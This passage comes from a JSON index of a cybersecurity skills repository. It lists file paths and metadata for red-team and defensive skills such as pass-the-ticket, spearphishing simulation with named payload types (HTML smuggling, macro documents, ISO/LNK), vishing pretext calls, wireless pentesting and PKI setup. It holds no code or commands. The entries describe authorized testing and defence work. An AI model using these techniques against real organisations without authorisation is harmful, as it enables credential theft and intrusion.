ticket owner without knowing their password. Use during authorized post-exploitation to move laterally or escalate access via stolen Kerberos tickets, or to validate detections for Kerberos ticket theft and reuse.","domain":"cybersecurity","subdomain":"red-teaming","tags":["red-team","adversary-simulation","mitre-attack","exploitation","post-exploitation","kerberos","pass-the-ticket","lateral-movement"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Token Binding","Execution Isolation","Restore Access","Application Protocol Command Analysis","Process Termination"],"nist_csf":["ID.RA-01","GV.OV-02","DE.AE-07"],"mitre_attack":["T1550.003","T1558.003","T1078"]},"isInternal":false,"tokens":934,"sizeBytes":4056},{"name":"api-reference.md","path":"skills/conducting-phishing-incident-response/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-phishing-incident-response/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-phishing-incident-response%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":482,"sizeBytes":2012},{"name":"SKILL.md","path":"skills/conducting-phishing-incident-response/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-phishing-incident-response/SKILL.md","title":"conducting-phishing-incident-response","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-phishing-incident-response%2FSKILL.md -->","frontmatter":{"name":"conducting-phishing-incident-response","description":"Respond to phishing incidents by analyzing reported emails, extracting indicators, sandboxing URLs/attachments, assessing credential compromise, quarantining malicious messages organization-wide, and remediating affected accounts. Use when investigating a reported phishing or credential-phishing email, a suspected spearphishing incident, or when a mailbox-wide purge and account remediation is needed.","domain":"cybersecurity","subdomain":"incident-response","tags":["phishing-response","email-security","credential-compromise","email-header-analysis","mailbox-remediation"],"mitre_attack":["T1566.001","T1566.002","T1204.002","T1204.001","T1114","T1056.003"],"mitre_f3":{"version":"1.1","tactics":["initial-access","reconnaissance","resource-development","positioning"],"techniques":[{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"},{"id":"T1598","name":"Phishing for Information","tactic":"reconnaissance","source":"attack"},{"id":"F1020.002","name":"Create Fake Materials: Fake Website","tactic":"resource-development","source":"f3"},{"id":"T1557","name":"Adversary-in-the-Middle","tactic":"positioning","source":"attack"},{"id":"F1004","name":"Access with Stolen Session Cookie","tactic":"initial-access","source":"f3"},{"id":"F1006.002","name":"Account Takeover: Exposed Login Credential","tactic":"initial-access","source":"f3"}]},"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.MA-01","RS.MA-02","RS.AN-03","RC.RP-01"]},"isInternal":false,"tokens":2662,"sizeBytes":11880},{"name":"template.md","path":"skills/conducting-post-incident-lessons-learned/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-post-incident-lessons-learned/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-post-incident-lessons-learned%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":613,"sizeBytes":2199},{"name":"api-reference.md","path":"skills/conducting-post-incident-lessons-learned/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-post-incident-lessons-learned/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-post-incident-lessons-learned%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":382,"sizeBytes":1535},{"name":"standards.md","path":"skills/conducting-post-incident-lessons-learned/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-post-incident-lessons-learned/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-post-incident-lessons-learned%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":287,"sizeBytes":1208},{"name":"workflows.md","path":"skills/conducting-post-incident-lessons-learned/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-post-incident-lessons-learned/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-post-incident-lessons-learned%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":481,"sizeBytes":1993},{"name":"SKILL.md","path":"skills/conducting-post-incident-lessons-learned/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-post-incident-lessons-learned/SKILL.md","title":"conducting-post-incident-lessons-learned","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-post-incident-lessons-learned%2FSKILL.md -->","frontmatter":{"name":"conducting-post-incident-lessons-learned","description":"Facilitate structured post-incident reviews to identify root causes, document what worked and failed, and produce actionable recommendations to improve future incident response.","domain":"cybersecurity","subdomain":"incident-response","tags":["incident-response","lessons-learned","post-incident","after-action-review","process-improvement"],"mitre_attack":["T1566","T1486","T1059","T1078"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.MA-01","RS.MA-02","RS.AN-03","RC.RP-01"]},"isInternal":false,"tokens":1719,"sizeBytes":6680},{"name":"template.md","path":"skills/conducting-social-engineering-penetration-test/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-social-engineering-penetration-test/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-social-engineering-penetration-test%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":261,"sizeBytes":1016},{"name":"api-reference.md","path":"skills/conducting-social-engineering-penetration-test/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-social-engineering-penetration-test/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-social-engineering-penetration-test%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":384,"sizeBytes":1498},{"name":"standards.md","path":"skills/conducting-social-engineering-penetration-test/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-social-engineering-penetration-test/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-social-engineering-penetration-test%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":218,"sizeBytes":958},{"name":"workflows.md","path":"skills/conducting-social-engineering-penetration-test/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-social-engineering-penetration-test/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-social-engineering-penetration-test%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":243,"sizeBytes":1147},{"name":"SKILL.md","path":"skills/conducting-social-engineering-penetration-test/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-social-engineering-penetration-test/SKILL.md","title":"conducting-social-engineering-penetration-test","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-social-engineering-penetration-test%2FSKILL.md -->","frontmatter":{"name":"conducting-social-engineering-penetration-test","description":"Design and execute a social engineering penetration test combining OSINT-driven target profiling with phishing, vishing, smishing, and physical pretexting campaigns using tools like GoPhish, the Social Engineer Toolkit (SET), and Evilginx to measure human security resilience. Use when scoping or running an authorized human-attack-surface test and reporting results to identify security awareness training gaps.","domain":"cybersecurity","subdomain":"penetration-testing","tags":["social-engineering","phishing","vishing","pretexting","GoPhish","SET","OSINT","security-awareness","red-team"],"version":"1.0","author":"mahipal","license":"Apache-2.0","atlas_techniques":["AML.T0088","AML.T0052"],"nist_ai_rmf":["GOVERN-6.2","MAP-5.2"],"nist_csf":["ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07"],"mitre_attack":["T1566","T1598","T1566.004","T1204.001","T1589"],"mitre_f3":{"version":"1.1","tactics":["reconnaissance","initial-access","resource-development"],"techniques":[{"id":"T1598","name":"Phishing for Information","tactic":"reconnaissance","source":"attack"},{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"},{"id":"F1029","name":"Gather Customer Information","tactic":"reconnaissance","source":"f3"},{"id":"F1032","name":"Impersonate Official","tactic":"initial-access","source":"f3"},{"id":"T1557","name":"Adversary-in-the-Middle","tactic":"initial-access","source":"attack"},{"id":"F1020.002","name":"Create Fake Materials: Fake Website","tactic":"resource-development","source":"f3"}]}},"isInternal":false,"tokens":2873,"sizeBytes":11462},{"name":"template.md","path":"skills/conducting-social-engineering-pretext-call/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-social-engineering-pretext-call/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-social-engineering-pretext-call%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":491,"sizeBytes":1915},{"name":"api-reference.md","path":"skills/conducting-social-engineering-pretext-call/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-social-engineering-pretext-call/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-social-engineering-pretext-call%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":405,"sizeBytes":1992},{"name":"standards.md","path":"skills/conducting-social-engineering-pretext-call/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-social-engineering-pretext-call/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-social-engineering-pretext-call%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":377,"sizeBytes":1389},{"name":"workflows.md","path":"skills/conducting-social-engineering-pretext-call/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-social-engineering-pretext-call/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-social-engineering-pretext-call%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":711,"sizeBytes":4717},{"name":"SKILL.md","path":"skills/conducting-social-engineering-pretext-call/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-social-engineering-pretext-call/SKILL.md","title":"conducting-social-engineering-pretext-call","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-social-engineering-pretext-call%2FSKILL.md -->","frontmatter":{"name":"conducting-social-engineering-pretext-call","description":"Plan and execute authorized vishing (voice phishing) pretext calls to assess employee susceptibility to social engineering and evaluate security awareness controls.","domain":"cybersecurity","subdomain":"red-teaming","tags":["social-engineering","vishing","pretext-call","security-awareness","red-team","phishing","human-risk"],"version":"1.0","author":"mahipal","license":"Apache-2.0","atlas_techniques":["AML.T0088","AML.T0052"],"nist_ai_rmf":["GOVERN-6.2","MAP-5.2"],"d3fend_techniques":["File Metadata Consistency Validation","Application Protocol Command Analysis","Identifier Analysis","Content Format Conversion","Message Analysis"],"nist_csf":["ID.RA-01","GV.OV-02","DE.AE-07"],"mitre_attack":["T1598.004","T1566.004","T1589","T1591","T1598"],"mitre_f3":{"version":"1.1","tactics":["reconnaissance","initial-access","stealth"],"techniques":[{"id":"T1598","name":"Phishing for Information","tactic":"reconnaissance","source":"attack"},{"id":"F1034","name":"Interactive Voice Response Mapping","tactic":"reconnaissance","source":"f3"},{"id":"F1029","name":"Gather Customer Information","tactic":"reconnaissance","source":"f3"},{"id":"F1032","name":"Impersonate Official","tactic":"initial-access","source":"f3"},{"id":"F1040","name":"Phone Number Spoofing","tactic":"stealth","source":"f3"},{"id":"F1040.002","name":"Phone Number Spoofing: Official Phone Number Spoofing","tactic":"stealth","source":"f3"}]}},"isInternal":false,"tokens":1964,"sizeBytes":8232},{"name":"template.md","path":"skills/conducting-spearphishing-simulation-campaign/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-spearphishing-simulation-campaign/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-spearphishing-simulation-campaign%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":1176,"sizeBytes":4532},{"name":"api-reference.md","path":"skills/conducting-spearphishing-simulation-campaign/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-spearphishing-simulation-campaign/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-spearphishing-simulation-campaign%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":441,"sizeBytes":1686},{"name":"standards.md","path":"skills/conducting-spearphishing-simulation-campaign/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-spearphishing-simulation-campaign/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-spearphishing-simulation-campaign%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":684,"sizeBytes":3015},{"name":"workflows.md","path":"skills/conducting-spearphishing-simulation-campaign/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-spearphishing-simulation-campaign/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-spearphishing-simulation-campaign%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1743,"sizeBytes":6729},{"name":"SKILL.md","path":"skills/conducting-spearphishing-simulation-campaign/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-spearphishing-simulation-campaign/SKILL.md","title":"conducting-spearphishing-simulation-campaign","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-spearphishing-simulation-campaign%2FSKILL.md -->","frontmatter":{"name":"conducting-spearphishing-simulation-campaign","description":"Run a targeted spearphishing simulation for initial access by developing OSINT-derived pretexts, building payloads (HTML smuggling, macro docs, ISO/LNK, OneNote, QR codes), standing up look-alike-domain email infrastructure with SPF/DKIM/DMARC via GoPhish, and tracking results. Use in authorized engagements to gain initial access via personalized phishing against specific individuals, distinct from broad campaigns.","domain":"cybersecurity","subdomain":"red-teaming","tags":["red-team","adversary-simulation","mitre-attack","exploitation","post-exploitation","spearphishing","social-engineering"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["File Metadata Consistency Validation","Application Protocol Command Analysis","Identifier Analysis","Content Format Conversion","Message Analysis"],"nist_csf":["ID.RA-01","GV.OV-02","DE.AE-07"],"mitre_attack":["T1566.001","T1566.002","T1598.003","T1598.002","T1204.002","T1204.001"],"mitre_f3":{"version":"1.1","tactics":["reconnaissance","resource-development","initial-access"],"techniques":[{"id":"T1598","name":"Phishing for Information","tactic":"reconnaissance","source":"attack"},{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"},{"id":"T1583.001","name":"Acquire Infrastructure: Domains","tactic":"resource-development","source":"attack"},{"id":"F1020.002","name":"Create Fake Materials: Fake Website","tactic":"resource-development","source":"f3"},{"id":"T1585","name":"Establish Accounts","tactic":"resource-development","source":"attack"},{"id":"F1006.002","name":"Account Takeover: Exposed Login Credential","tactic":"initial-access","source":"f3"}]}},"isInternal":false,"tokens":1520,"sizeBytes":6674},{"name":"api-reference.md","path":"skills/conducting-wireless-network-penetration-test/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-wireless-network-penetration-test/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-wireless-network-penetration-test%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":572,"sizeBytes":2291},{"name":"SKILL.md","path":"skills/conducting-wireless-network-penetration-test/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-wireless-network-penetration-test/SKILL.md","title":"conducting-wireless-network-penetration-test","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-wireless-network-penetration-test%2FSKILL.md -->","frontmatter":{"name":"conducting-wireless-network-penetration-test","description":"Conducts authorized wireless network penetration tests to assess the security of WiFi infrastructure by testing for weak encryption protocols, captive portal bypasses, evil twin attacks, WPA2/WPA3 handshake capture, rogue access point detection, and client-side attacks. The tester evaluates wireless authentication, network segmentation, and the effectiveness of wireless intrusion detection systems. Activates for requests involving wireless pentest, WiFi security assessment, WPA2/WPA3 testing, or rogue access point detection.\n","domain":"cybersecurity","subdomain":"penetration-testing","tags":["wireless-pentest","WiFi-security","WPA2","WPA3","evil-twin"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07"],"mitre_attack":["T1557.004","T1040","T1110.002","T1557","T1669"]},"isInternal":false,"tokens":2580,"sizeBytes":11129},{"name":"api-reference.md","path":"skills/configuring-active-directory-tiered-model/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-active-directory-tiered-model/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-active-directory-tiered-model%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":401,"sizeBytes":1670},{"name":"SKILL.md","path":"skills/configuring-active-directory-tiered-model/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-active-directory-tiered-model/SKILL.md","title":"configuring-active-directory-tiered-model","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-active-directory-tiered-model%2FSKILL.md -->","frontmatter":{"name":"configuring-active-directory-tiered-model","description":"Implement Microsoft's Enhanced Security Admin Environment (ESAE) tiered administration model for Active Directory, covering Tier 0/1/2 separation, privileged access workstations (PAWs), administrative forest design, and authentication policy silos. Use when designing or hardening AD privileged-access architecture, segmenting Domain/Enterprise Admin accounts into tiers, or containing lateral movement and credential theft (pass-the-hash, Kerberoasting, golden tickets).","domain":"cybersecurity","subdomain":"identity-access-management","tags":["iam","identity","access-control","active-directory","tiered-model","paw","esae"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1078.002","T1550.002","T1550.003","T1003.001","T1021"]},"isInternal":false,"tokens":592,"sizeBytes":2745},{"name":"template.md","path":"skills/configuring-aws-verified-access-for-ztna/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-aws-verified-access-for-ztna/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-aws-verified-access-for-ztna%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":317,"sizeBytes":1284},{"name":"api-reference.md","path":"skills/configuring-aws-verified-access-for-ztna/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-aws-verified-access-for-ztna/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-aws-verified-access-for-ztna%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":371,"sizeBytes":1688},{"name":"standards.md","path":"skills/configuring-aws-verified-access-for-ztna/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-aws-verified-access-for-ztna/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-aws-verified-access-for-ztna%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":373,"sizeBytes":1710},{"name":"workflows.md","path":"skills/configuring-aws-verified-access-for-ztna/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-aws-verified-access-for-ztna/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-aws-verified-access-for-ztna%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":553,"sizeBytes":2524},{"name":"SKILL.md","path":"skills/configuring-aws-verified-access-for-ztna/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-aws-verified-access-for-ztna/SKILL.md","title":"configuring-aws-verified-access-for-ztna","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-aws-verified-access-for-ztna%2FSKILL.md -->","frontmatter":{"name":"configuring-aws-verified-access-for-ztna","description":"Configure AWS Verified Access to provide VPN-less zero trust network access to internal apps, combining identity trust providers (IAM Identity Center, Okta/OIDC), device posture providers (CrowdStrike, Jamf), Cedar policy authoring, and Terraform deployment. Use when replacing VPN access with ZTNA, writing Cedar access policies, or deploying Verified Access instances, groups, and endpoints across AWS accounts.","domain":"cybersecurity","subdomain":"zero-trust-architecture","tags":["zero-trust","aws","verified-access","ztna","cedar-policy","vpn-less","identity-verification","device-posture","aws-ram"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-05","PR.IR-01","GV.PO-01"],"mitre_attack":["T1078.004","T1133","T1021.007"]},"isInternal":false,"tokens":3581,"sizeBytes":15062},{"name":"template.md","path":"skills/configuring-certificate-authority-with-openssl/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-certificate-authority-with-openssl/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-certificate-authority-with-openssl%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":442,"sizeBytes":1763},{"name":"api-reference.md","path":"skills/configuring-certificate-authority-with-openssl/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-certificate-authority-with-openssl/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-certificate-authority-with-openssl%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":452,"sizeBytes":1763},{"name":"standards.md","path":"skills/configuring-certificate-authority-with-openssl/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-certificate-authority-with-openssl/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-certificate-authority-with-openssl%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":301,"sizeBytes":1178},{"name":"workflows.md","path":"skills/configuring-certificate-authority-with-openssl/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-certificate-authority-with-openssl/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-certificate-authority-with-openssl%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":613,"sizeBytes":2300},{"name":"SKILL.md","path":"skills/configuring-certificate-authority-with-openssl/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-certificate-authority-with-openssl/SKILL.md","title":"configuring-certificate-authority-with-openssl","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-certificate-authority-with-openssl%2FSKILL.md -->","frontmatter":{"name":"configuring-certificate-authority-with-openssl","description":"Build a two-tier PKI Certificate Authority hierarchy (offline Root CA plus issuing Intermediate CA) using OpenSSL and the Python cryptography library, covering certificate extensions, CRL distribution points, OCSP responder configuration, and certificate policy management. Use when standing up an internal CA, issuing or revoking X.509 certificates, or designing PKI trust hierarchies for TLS, code-signing, or client-authentication use cases.","domain":"cybersecurity","subdomain":"cryptography","tags":["cryptography","pki","certificate-authority","openssl","x509"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.DS-01","PR.DS-02","PR.DS-10"],"mitre_attack":["T1649","T1553.004","T1557","T1587.003"]},"isInternal":false,"tokens":780,"sizeBytes":3514},{"name":"template.md","path":"skills/configuring-host-based-intrusion-detection/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-host-based-intrusion-detection/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-host-based-intrusion-detection%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":261,"sizeBytes":998},{"name":"api-reference.md","path":"skills/configuring-host-based-intrusion-detection/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-host-based-intrusion-detection/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-host-based-intrusion-detection%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":390,"sizeBytes":1571},{"name":"standards.md","path":"skills/configuring-host-based-intrusion-detection/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-host-based-intrusion-detection/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-host-based-intrusion-detection%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":380,"sizeBytes":1520},{"name":"workflows.md","path":"skills/configuring-host-based-intrusion-detection/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-host-based-intrusion-detection/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-host-based-intrusion-detection%2Freferences%2Fworkflows.md 